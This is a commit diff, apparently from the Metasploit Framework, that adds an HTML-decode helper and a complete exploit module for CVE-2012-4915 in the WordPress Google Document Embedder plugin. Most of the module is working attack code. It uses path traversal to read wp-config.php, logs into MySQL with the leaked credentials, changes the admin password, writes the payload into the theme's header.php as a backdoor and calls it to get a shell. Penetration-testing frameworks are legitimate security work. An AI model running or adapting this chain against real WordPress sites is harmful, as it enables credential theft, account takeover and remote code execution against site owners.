Merge branch 'master' of github.com:CharlieEriksen/metasploit-framework into CharlieEriksen-master
commit
1d3c1ec7fc
|
@ -2,6 +2,7 @@
|
||||||
require 'digest/md5'
|
require 'digest/md5'
|
||||||
require 'digest/sha1'
|
require 'digest/sha1'
|
||||||
require 'stringio'
|
require 'stringio'
|
||||||
|
require 'CGI'
|
||||||
|
|
||||||
begin
|
begin
|
||||||
old_verbose = $VERBOSE
|
old_verbose = $VERBOSE
|
||||||
|
@ -562,6 +563,14 @@ module Text
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Decode a string that's html encoded
|
||||||
|
#
|
||||||
|
def self.html_decode(str)
|
||||||
|
decoded_str = CGI.unescapeHTML(str)
|
||||||
|
return decoded_str
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Encode an ASCII string so it's safe for XML. It's a wrapper for to_hex_ascii.
|
# Encode an ASCII string so it's safe for XML. It's a wrapper for to_hex_ascii.
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,270 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rbmysql'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary file disclosure flaw in the WordPress
|
||||||
|
blogging software plugin known as Google Document Embedder. The vulnerability allows for
|
||||||
|
database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
|
||||||
|
plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
|
||||||
|
server is exposed on a accessible IP and Wordpress has filesystem write access. The
|
||||||
|
admin password may get changed if the exploit does not run to the end.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Charlie Eriksen',
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2012-4915'],
|
||||||
|
['OSVDB', '88891'],
|
||||||
|
['URL', 'http://secunia.com/advisories/50832'],
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'ConnectionType' => 'find',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [[ 'Automatic', { }]],
|
||||||
|
'DisclosureDate' => 'Jan 03 2013',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
|
||||||
|
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
|
||||||
|
OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
|
||||||
|
OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
uri = target_uri.path
|
||||||
|
uri << '/' if uri[-1,1] != '/'
|
||||||
|
plugins_uri = String.new(uri)
|
||||||
|
plugins_uri << datastore['PLUGINSPATH']
|
||||||
|
plugins_uri << '/' if plugins_uri[-1,1] != '/'
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
uri = target_uri.path
|
||||||
|
uri << '/' if uri[-1,1] != '/'
|
||||||
|
plugins_uri = String.new(uri)
|
||||||
|
plugins_uri << datastore['PLUGINSPATH']
|
||||||
|
plugins_uri << '/' if plugins_uri[-1,1] != '/'
|
||||||
|
admin_uri = String.new(uri)
|
||||||
|
admin_uri << datastore['ADMINPATH']
|
||||||
|
admin_uri << '/' if plugins_uri[-1,1] != '/'
|
||||||
|
themes_uri = String.new(uri)
|
||||||
|
themes_uri << datastore['THEMESPATH']
|
||||||
|
themes_uri << '/' if plugins_uri[-1,1] != '/'
|
||||||
|
|
||||||
|
print_status('Fetching wp-config.php')
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
|
||||||
|
'vars_get' =>
|
||||||
|
{
|
||||||
|
'fn' => "#{rand_text_alphanumeric(4)}.pdf",
|
||||||
|
'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.body =~ /allow_url_fopen/
|
||||||
|
fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
|
||||||
|
elsif res.code != 200
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
|
||||||
|
end
|
||||||
|
|
||||||
|
config = parse_wp_config(res.body)
|
||||||
|
if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")
|
||||||
|
end
|
||||||
|
begin
|
||||||
|
@mysql_handle = ::RbMysql.connect({
|
||||||
|
:host => config['DB_HOST'],
|
||||||
|
:port => config['DB_PORT'],
|
||||||
|
:read_timeout => 300,
|
||||||
|
:write_timeout => 300,
|
||||||
|
:socket => nil,
|
||||||
|
:user => config['DB_USER'],
|
||||||
|
:password => config['DB_PASSWORD'],
|
||||||
|
:db => config['DB_NAME']
|
||||||
|
})
|
||||||
|
rescue Errno::ECONNREFUSED,
|
||||||
|
RbMysql::ClientError,
|
||||||
|
Errno::ETIMEDOUT,
|
||||||
|
RbMysql::AccessDeniedError,
|
||||||
|
RbMysql::HostNotPrivileged
|
||||||
|
fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')
|
||||||
|
end
|
||||||
|
res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
|
||||||
|
INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")
|
||||||
|
|
||||||
|
if res.nil? or res.size <= 0
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')
|
||||||
|
end
|
||||||
|
|
||||||
|
user = res.first
|
||||||
|
|
||||||
|
new_password = rand_text_alphanumeric(8)
|
||||||
|
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
|
||||||
|
print_status("Admin password changed to: #{new_password}")
|
||||||
|
|
||||||
|
admin_cookie = get_wp_cookie(uri, user[0], new_password)
|
||||||
|
|
||||||
|
theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)
|
||||||
|
|
||||||
|
print_status("Editing theme #{theme}")
|
||||||
|
set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)
|
||||||
|
|
||||||
|
print_status("Calling backdoor")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "#{themes_uri}#{theme}/header.php",
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code != 200
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
|
||||||
|
end
|
||||||
|
|
||||||
|
set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)
|
||||||
|
|
||||||
|
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")
|
||||||
|
|
||||||
|
print_status("Shell should have been acquired. Disabled backdoor")
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_wp_config(body)
|
||||||
|
print_status("Parsing config file")
|
||||||
|
values = {}
|
||||||
|
|
||||||
|
body.each_line do |line|
|
||||||
|
if line =~ /define/
|
||||||
|
key_pair = line.scan(/('|")([^'"]*)('|")/)
|
||||||
|
if key_pair.length == 2
|
||||||
|
values[key_pair[0][1]] = key_pair[1][1]
|
||||||
|
end
|
||||||
|
elsif line =~ /table_prefix/
|
||||||
|
table_prefix = line.scan(/('|")([^'"]*)('|")/)
|
||||||
|
values['DB_PREFIX'] = table_prefix[0][1]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
#Extract the port from DB_HOST and normalize DB_HOST
|
||||||
|
values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306
|
||||||
|
|
||||||
|
if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
|
||||||
|
print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
|
||||||
|
values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
|
||||||
|
end
|
||||||
|
|
||||||
|
return values
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_wp_cookie(uri, username, password)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => "#{uri}wp-login.php",
|
||||||
|
'cookie' => 'wordpress_test_cookie=WP+Cookie+check',
|
||||||
|
'vars_post' =>
|
||||||
|
{
|
||||||
|
'log' => username,
|
||||||
|
'pwd' => password,
|
||||||
|
'wp-submit' => 'Log+In',
|
||||||
|
'testcookie' => '1',
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')
|
||||||
|
elsif res and res.code != 302
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
|
||||||
|
end
|
||||||
|
|
||||||
|
admin_cookie = ''
|
||||||
|
(res.headers['Set-Cookie'] || '').split(',').each do |cookie|
|
||||||
|
admin_cookie << cookie.split(';')[0]
|
||||||
|
admin_cookie << ';'
|
||||||
|
end
|
||||||
|
|
||||||
|
if admin_cookie.empty?
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')
|
||||||
|
end
|
||||||
|
|
||||||
|
return admin_cookie
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_wp_theme(admin_uri, admin_cookie)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => "#{admin_uri}theme-editor.php?file=header.php",
|
||||||
|
'cookie' => admin_cookie,
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code != 200
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
|
||||||
|
elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
|
||||||
|
fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')
|
||||||
|
end
|
||||||
|
|
||||||
|
nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
|
||||||
|
old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
|
||||||
|
theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s
|
||||||
|
|
||||||
|
return [theme, nonce, old_content]
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => "#{admin_uri}theme-editor.php?",
|
||||||
|
'cookie' => admin_cookie,
|
||||||
|
'vars_post' =>
|
||||||
|
{
|
||||||
|
'_wpnonce' => nonce,
|
||||||
|
'theme' => theme,
|
||||||
|
'newcontent' => new_content,
|
||||||
|
'action' => 'update',
|
||||||
|
'file' => 'header.php'
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code != 302
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue